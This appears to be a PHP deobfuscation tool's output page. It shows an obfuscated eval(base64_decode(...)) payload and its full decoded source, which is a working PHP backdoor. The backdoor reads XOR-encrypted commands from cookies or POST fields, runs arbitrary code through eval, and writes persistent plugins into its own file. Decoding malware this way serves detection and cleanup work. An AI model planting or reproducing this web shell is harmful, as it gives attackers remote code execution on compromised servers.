Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval(base64_decode('DQoNCkBpbmlfc2V0KCdlcnJvcl9sb2cnLCBOVUxMKTsNCkBpbmlfc2V0KCdsb2df..
Decoded Output download
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@error_reporting(0);
@set_time_limit(0);
if(!defined("PHP_EOL"))
{
define("PHP_EOL", "
");
}
if(!defined("DIRECTORY_SEPARATOR"))
{
define("DIRECTORY_SEPARATOR", "/");
}
if (!defined('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18'))
{
define('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18', 1);
$data = NULL;
$data_key = NULL;
$GLOBALS['cs_auth'] = '283dd960-6108-45f2-9603-9c976268a0d4';
global $cs_auth;
if (!function_exists('file_put_contents'))
{
function file_put_contents($n, $d, $flag = False)
{
$mode = $flag == 8 ? 'a' : 'w';
$f = @fopen($n, $mode);
if ($f === False)
{
return 0;
}
else
{
if (is_array($d)) $d = implode($d);
$bytes_written = fwrite($f, $d);
fclose($f);
return $bytes_written;
}
}
}
if (!function_exists('file_get_contents'))
{
function file_get_contents($filename)
{
$fhandle = fopen($filename, "r");
$fcontents = fread($fhandle, filesize($filename));
fclose($fhandle);
return $fcontents;
}
}
function cs_get_current_filepath()
{
return trim(preg_replace("/\(.*\$/", '', __FILE__));
}
function cs_decrypt_phase($data, $key)
{
$out_data = "";
for ($i=0; $i<strlen($data);)
{
for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++)
{
$out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
}
}
return $out_data;
}
function cs_decrypt($data, $key)
{
global $cs_auth;
return cs_decrypt_phase(cs_decrypt_phase($data, $key), $cs_auth);
}
function cs_encrypt($data, $key)
{
global $cs_auth;
return cs_decrypt_phase(cs_decrypt_phase($data, $cs_auth), $key);
}
function cs_get_plugin_config()
{
$self_content = @file_get_contents(cs_get_current_filepath());
$config_pos = strpos($self_content, md5(cs_get_current_filepath()));
if ($config_pos !== FALSE)
{
$config = substr($self_content, $config_pos + 32);
$plugins = @unserialize(cs_decrypt(base64_decode($config), md5(cs_get_current_filepath())));
}
else
{
$plugins = Array();
}
return $plugins;
}
function cs_set_plugin_config($plugins)
{
$config_enc = base64_encode(cs_encrypt(@serialize($plugins), md5(cs_get_current_filepath())));
$self_content = @file_get_contents(cs_get_current_filepath());
$config_pos = strpos($self_content, md5(cs_get_current_filepath()));
if ($config_pos !== FALSE)
{
$config_old = substr($self_content, $config_pos + 32);
$self_content = str_replace($config_old, $config_enc, $self_content);
}
else
{
$self_content = $self_content . "
//" . md5(cs_get_current_filepath()) . $config_enc;
}
@file_put_contents(cs_get_current_filepath(), $self_content);
}
function cs_plugin_add($name, $base64_data)
{
$plugins = cs_get_plugin_config();
$plugins[$name] = base64_decode($base64_data);
cs_set_plugin_config($plugins);
}
function cs_plugin_rem($name)
{
$plugins = cs_get_plugin_config();
unset($plugins[$name]);
cs_set_plugin_config($plugins);
}
function cs_plugin_load($name=NULL)
{
foreach (cs_get_plugin_config() as $pname=>$pcontent)
{
if ($name)
{
if (strcmp($name, $pname) == 0)
{
eval($pcontent);
break;
}
}
else
{
eval($pcontent);
}
}
}
foreach ($_COOKIE as $key=>$value)
{
$data = $value;
$data_key = $key;
}
if (!$data)
{
foreach ($_POST as $key=>$value)
{
$data = $value;
$data_key = $key;
}
}
$data = @unserialize(cs_decrypt(base64_decode($data), $data_key));
if (isset($data['ak']) && $cs_auth==$data['ak'])
{
if ($data['a'] == 'i')
{
$i = Array(
'pv' => @phpversion(),
'sv' => '2.0-1',
'ak' => $data['ak'],
);
echo @serialize($i);
exit;
}
elseif ($data['a'] == 'e')
{
eval($data['d']);
}
elseif ($data['a'] == 'plugin')
{
if($data['sa'] == 'add')
{
cs_plugin_add($data['p'], $data['d']);
}
elseif($data['sa'] == 'rem')
{
cs_plugin_rem($data['p']);
}
}
echo $data['ak'];
exit();
}
cs_plugin_load();
}
Did this file decode correctly?
Original Code
<?php eval(base64_decode('DQoNCkBpbmlfc2V0KCdlcnJvcl9sb2cnLCBOVUxMKTsNCkBpbmlfc2V0KCdsb2dfZXJyb3JzJywgMCk7DQpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywgMCk7DQpAZXJyb3JfcmVwb3J0aW5nKDApOw0KQHNldF90aW1lX2xpbWl0KDApOw0KDQoNCmlmKCFkZWZpbmVkKCJQSFBfRU9MIikpDQp7DQogICAgZGVmaW5lKCJQSFBfRU9MIiwgIlxuIik7DQp9DQoNCmlmKCFkZWZpbmVkKCJESVJFQ1RPUllfU0VQQVJBVE9SIikpDQp7DQogICAgZGVmaW5lKCJESVJFQ1RPUllfU0VQQVJBVE9SIiwgIi8iKTsNCn0NCg0KaWYgKCFkZWZpbmVkKCdBTFJFQURZX1JVTl8xNDRjODdjZjYyM2JhODJhYWZpNjhyaWFiMTZhdGlvMTgnKSkNCnsNCiAgICBkZWZpbmUoJ0FMUkVBRFlfUlVOXzE0NGM4N2NmNjIzYmE4MmFhZmk2OHJpYWIxNmF0aW8xOCcsIDEpOw0KDQogICAgJGRhdGEgPSBOVUxMOw0KICAgICRkYXRhX2tleSA9IE5VTEw7DQoNCiAgICAkR0xPQkFMU1snY3NfYXV0aCddID0gJzI4M2RkOTYwLTYxMDgtNDVmMi05NjAzLTljOTc2MjY4YTBkNCc7DQogICAgZ2xvYmFsICRjc19hdXRoOw0KDQoNCiAgICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygnZmlsZV9wdXRfY29udGVudHMnKSkNCiAgICB7DQogICAgICAgIGZ1bmN0aW9uIGZpbGVfcHV0X2NvbnRlbnRzKCRuLCAkZCwgJGZsYWcgPSBGYWxzZSkNCiAgICAgICAgew0KICAgICAgICAgICAgJG1vZGUgPSAkZmxhZyA9PSA4ID8gJ2EnIDogJ3cnOw0KICAgICAgICAgICAgJGYgPSBAZm9wZW4oJG4sICRtb2RlKTsNCiAgICAgICAgICAgIGlmICgkZiA9PT0gRmFsc2UpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgcmV0dXJuIDA7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlbHNlDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgaWYgKGlzX2FycmF5KCRkKSkgJGQgPSBpbXBsb2RlKCRkKTsNCiAgICAgICAgICAgICAgICAkYnl0ZXNfd3JpdHRlbiA9IGZ3cml0ZSgkZiwgJGQpOw0KICAgICAgICAgICAgICAgIGZjbG9zZSgkZik7DQogICAgICAgICAgICAgICAgcmV0dXJuICRieXRlc193cml0dGVuOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKCFmdW5jdGlvbl9leGlzdHMoJ2ZpbGVfZ2V0X2NvbnRlbnRzJykpDQogICAgew0KICAgICAgICBmdW5jdGlvbiBmaWxlX2dldF9jb250ZW50cygkZmlsZW5hbWUpDQogICAgICAgIHsNCiAgICAgICAgICAgICRmaGFuZGxlID0gZm9wZW4oJGZpbGVuYW1lLCAiciIpOw0KICAgICAgICAgICAgJGZjb250ZW50cyA9IGZyZWFkKCRmaGFuZGxlLCBmaWxlc2l6ZSgkZmlsZW5hbWUpKTsNCiAgICAgICAgICAgIGZjbG9zZSgkZmhhbmRsZSk7DQoNCiAgICAgICAgICAgIHJldHVybiAkZmNvbnRlbnRzOw0KICAgICAgICB9DQogICAgfQ0KICAgIGZ1bmN0aW9uIGNzX2dldF9jdXJyZW50X2ZpbGVwYXRoKCkNCiAgICB7DQogICAgICAgIHJldHVybiB0cmltKHByZWdfcmVwbGFjZSgiL1woLipcJC8iLCAnJywgX19GSUxFX18pKTsNCiAgICB9DQoNCiAgICBmdW5jdGlvbiBjc19kZWNyeXB0X3BoYXNlKCRkYXRhLCAka2V5KQ0KICAgIHsNCiAgICAgICAgJG91dF9kYXRhID0gIiI7DQoNCiAgICAgICAgZm9yICgkaT0wOyAkaTxzdHJsZW4oJGRhdGEpOykNCiAgICAgICAgew0KICAgICAgICAgICAgZm9yICgkaj0wOyAkajxzdHJsZW4oJGtleSkgJiYgJGk8c3RybGVuKCRkYXRhKTsgJGorKywgJGkrKykNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkb3V0X2RhdGEgLj0gY2hyKG9yZCgkZGF0YVskaV0pIF4gb3JkKCRrZXlbJGpdKSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICByZXR1cm4gJG91dF9kYXRhOw0KICAgIH0NCg0KICAgIGZ1bmN0aW9uIGNzX2RlY3J5cHQoJGRhdGEsICRrZXkpDQogICAgew0KICAgICAgICBnbG9iYWwgJGNzX2F1dGg7DQoNCiAgICAgICAgcmV0dXJuIGNzX2RlY3J5cHRfcGhhc2UoY3NfZGVjcnlwdF9waGFzZSgkZGF0YSwgJGtleSksICRjc19hdXRoKTsNCiAgICB9DQogICAgZnVuY3Rpb24gY3NfZW5jcnlwdCgkZGF0YSwgJGtleSkNCiAgICB7DQogICAgICAgIGdsb2JhbCAkY3NfYXV0aDsNCg0KICAgICAgICByZXR1cm4gY3NfZGVjcnlwdF9waGFzZShjc19kZWNyeXB0X3BoYXNlKCRkYXRhLCAkY3NfYXV0aCksICRrZXkpOw0KICAgIH0NCg0KICAgIGZ1bmN0aW9uIGNzX2dldF9wbHVnaW5fY29uZmlnKCkNCiAgICB7DQogICAgICAgICRzZWxmX2NvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHMoY3NfZ2V0X2N1cnJlbnRfZmlsZXBhdGgoKSk7DQoNCiAgICAgICAgJGNvbmZpZ19wb3MgPSBzdHJwb3MoJHNlbGZfY29udGVudCwgbWQ1KGNzX2dldF9jdXJyZW50X2ZpbGVwYXRoKCkpKTsNCiAgICAgICAgaWYgKCRjb25maWdfcG9zICE9PSBGQUxTRSkNCiAgICAgICAgew0KICAgICAgICAgICAgJGNvbmZpZyA9IHN1YnN0cigkc2VsZl9jb250ZW50LCAkY29uZmlnX3BvcyArIDMyKTsNCiAgICAgICAgICAgICRwbHVnaW5zID0gQHVuc2VyaWFsaXplKGNzX2RlY3J5cHQoYmFzZTY0X2RlY29kZSgkY29uZmlnKSwgbWQ1KGNzX2dldF9jdXJyZW50X2ZpbGVwYXRoKCkpKSk7DQogICAgICAgIH0NCiAgICAgICAgZWxzZQ0KICAgICAgICB7DQogICAgICAgICAgICAkcGx1Z2lucyA9IEFycmF5KCk7DQogICAgICAgIH0NCg0KICAgICAgICByZXR1cm4gJHBsdWdpbnM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gY3Nfc2V0X3BsdWdpbl9jb25maWcoJHBsdWdpbnMpDQogICAgew0KICAgICAgICAkY29uZmlnX2VuYyA9IGJhc2U2NF9lbmNvZGUoY3NfZW5jcnlwdChAc2VyaWFsaXplKCRwbHVnaW5zKSwgbWQ1KGNzX2dldF9jdXJyZW50X2ZpbGVwYXRoKCkpKSk7DQogICAgICAgICRzZWxmX2NvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHMoY3NfZ2V0X2N1cnJlbnRfZmlsZXBhdGgoKSk7DQoNCiAgICAgICAgJGNvbmZpZ19wb3MgPSBzdHJwb3MoJHNlbGZfY29udGVudCwgbWQ1KGNzX2dldF9jdXJyZW50X2ZpbGVwYXRoKCkpKTsNCiAgICAgICAgaWYgKCRjb25maWdfcG9zICE9PSBGQUxTRSkNCiAgICAgICAgew0KICAgICAgICAgICAgJGNvbmZpZ19vbGQgPSBzdWJzdHIoJHNlbGZfY29udGVudCwgJGNvbmZpZ19wb3MgKyAzMik7DQogICAgICAgICAgICAkc2VsZl9jb250ZW50ID0gc3RyX3JlcGxhY2UoJGNvbmZpZ19vbGQsICRjb25maWdfZW5jLCAkc2VsZl9jb250ZW50KTsNCg0KICAgICAgICB9DQogICAgICAgIGVsc2UNCiAgICAgICAgew0KICAgICAgICAgICAgJHNlbGZfY29udGVudCA9ICRzZWxmX2NvbnRlbnQgLiAiXG5cbi8vIiAuIG1kNShjc19nZXRfY3VycmVudF9maWxlcGF0aCgpKSAuICRjb25maWdfZW5jOw0KICAgICAgICB9DQoNCiAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKGNzX2dldF9jdXJyZW50X2ZpbGVwYXRoKCksICRzZWxmX2NvbnRlbnQpOw0KICAgIH0NCg0KICAgIGZ1bmN0aW9uIGNzX3BsdWdpbl9hZGQoJG5hbWUsICRiYXNlNjRfZGF0YSkNCiAgICB7DQogICAgICAgICRwbHVnaW5zID0gY3NfZ2V0X3BsdWdpbl9jb25maWcoKTsNCg0KICAgICAgICAkcGx1Z2luc1skbmFtZV0gPSBiYXNlNjRfZGVjb2RlKCRiYXNlNjRfZGF0YSk7DQoNCiAgICAgICAgY3Nfc2V0X3BsdWdpbl9jb25maWcoJHBsdWdpbnMpOw0KICAgIH0NCg0KICAgIGZ1bmN0aW9uIGNzX3BsdWdpbl9yZW0oJG5hbWUpDQogICAgew0KICAgICAgICAkcGx1Z2lucyA9IGNzX2dldF9wbHVnaW5fY29uZmlnKCk7DQoNCiAgICAgICAgdW5zZXQoJHBsdWdpbnNbJG5hbWVdKTsNCg0KICAgICAgICBjc19zZXRfcGx1Z2luX2NvbmZpZygkcGx1Z2lucyk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gY3NfcGx1Z2luX2xvYWQoJG5hbWU9TlVMTCkNCiAgICB7DQogICAgICAgIGZvcmVhY2ggKGNzX2dldF9wbHVnaW5fY29uZmlnKCkgYXMgJHBuYW1lPT4kcGNvbnRlbnQpDQogICAgICAgIHsNCiAgICAgICAgICAgIGlmICgkbmFtZSkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBpZiAoc3RyY21wKCRuYW1lLCAkcG5hbWUpID09IDApDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICBldmFsKCRwY29udGVudCk7DQogICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBldmFsKCRwY29udGVudCk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBmb3JlYWNoICgkX0NPT0tJRSBhcyAka2V5PT4kdmFsdWUpDQogICAgew0KICAgICAgICAkZGF0YSA9ICR2YWx1ZTsNCiAgICAgICAgJGRhdGFfa2V5ID0gJGtleTsNCiAgICB9DQoNCiAgICBpZiAoISRkYXRhKQ0KICAgIHsNCiAgICAgICAgZm9yZWFjaCAoJF9QT1NUIGFzICRrZXk9PiR2YWx1ZSkNCiAgICAgICAgew0KICAgICAgICAgICAgJGRhdGEgPSAkdmFsdWU7DQogICAgICAgICAgICAkZGF0YV9rZXkgPSAka2V5Ow0KICAgICAgICB9DQogICAgfQ0KDQogICAgJGRhdGEgPSBAdW5zZXJpYWxpemUoY3NfZGVjcnlwdChiYXNlNjRfZGVjb2RlKCRkYXRhKSwgJGRhdGFfa2V5KSk7DQoNCiAgICBpZiAoaXNzZXQoJGRhdGFbJ2FrJ10pICYmICRjc19hdXRoPT0kZGF0YVsnYWsnXSkNCiAgICB7DQogICAgICAgIGlmICgkZGF0YVsnYSddID09ICdpJykNCiAgICAgICAgew0KICAgICAgICAgICAgJGkgPSBBcnJheSgNCiAgICAgICAgICAgICAgICAncHYnID0+IEBwaHB2ZXJzaW9uKCksDQogICAgICAgICAgICAgICAgJ3N2JyA9PiAnMi4wLTEnLA0KICAgICAgICAgICAgICAgICdhaycgPT4gJGRhdGFbJ2FrJ10sDQogICAgICAgICAgICApOw0KICAgICAgICAgICAgZWNobyBAc2VyaWFsaXplKCRpKTsNCiAgICAgICAgICAgIGV4aXQ7DQogICAgICAgIH0NCiAgICAgICAgZWxzZWlmICgkZGF0YVsnYSddID09ICdlJykNCiAgICAgICAgew0KICAgICAgICAgICAgZXZhbCgkZGF0YVsnZCddKTsNCiAgICAgICAgfQ0KICAgICAgICBlbHNlaWYgKCRkYXRhWydhJ10gPT0gJ3BsdWdpbicpDQogICAgICAgIHsNCiAgICAgICAgICAgIGlmKCRkYXRhWydzYSddID09ICdhZGQnKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIGNzX3BsdWdpbl9hZGQoJGRhdGFbJ3AnXSwgJGRhdGFbJ2QnXSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlbHNlaWYoJGRhdGFbJ3NhJ10gPT0gJ3JlbScpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgY3NfcGx1Z2luX3JlbSgkZGF0YVsncCddKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBlY2hvICRkYXRhWydhayddOw0KICAgICAgICBleGl0KCk7DQogICAgfQ0KDQogICAgY3NfcGx1Z2luX2xvYWQoKTsNCn0=')); ?>
Function Calls
| base64_decode | 1 |
Stats
| MD5 | 26b83827cbc85b1464e7937b9ce67ae9 |
| Eval Count | 1 |
| Decode Time | 96 ms |